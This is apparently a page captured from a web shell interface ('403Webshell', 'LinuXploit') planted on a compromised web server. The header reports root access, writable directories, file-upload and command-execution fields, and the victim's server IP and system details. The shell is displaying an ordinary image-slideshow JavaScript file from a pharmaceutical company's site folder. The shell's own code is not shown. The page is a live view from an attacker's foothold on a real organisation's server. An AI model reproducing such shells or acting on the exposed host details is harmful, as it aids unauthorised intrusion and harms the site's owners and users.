403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/adpharmaceuticals.com/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/adpharmaceuticals.com/includes/functions.js
//Povered By Memiso.com
var i=1;
var r=0; //This variable contains the number of loaded images.
var address='images/';
function ChangeImage(){ 
  var ourimage=document.getElementById("slideImg");
  if (document.all && ourimage.filters){
    ourimage.filters.revealTrans.Transition=Math.floor(Math.random()*23); 
    ourimage.filters.revealTrans.stop();
    ourimage.filters.revealTrans.apply(); 
    ourimage.filters.revealTrans.play();
  }
  if(i>2){ // Number of our images is 4.
    i=0;
  }
  i++;
  document.getElementById("slideImg").src = address + 'index_roll' + i + '.jpg';
} 

function SetIt(){
  setTimeout("ChangeImage()",4000); // ChangeImage() function is executed each 4 seconds.
}
 
function startSlide() {
  r++;
  if(r==3){// If r reaches 3 (if third image was loaded) then show the first image and set the timer for starting the slideshow with SetIt() function.
    document.getElementById("slideDiv").innerHTML='';
    document.getElementById("slideDiv").innerHTML='<img id="slideImg" src="' + address + 'index_roll1.jpg" width="268" height="200" border="0" style="filter:revealTrans(duration=1,transition=12)" onload="SetIt();" />';
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit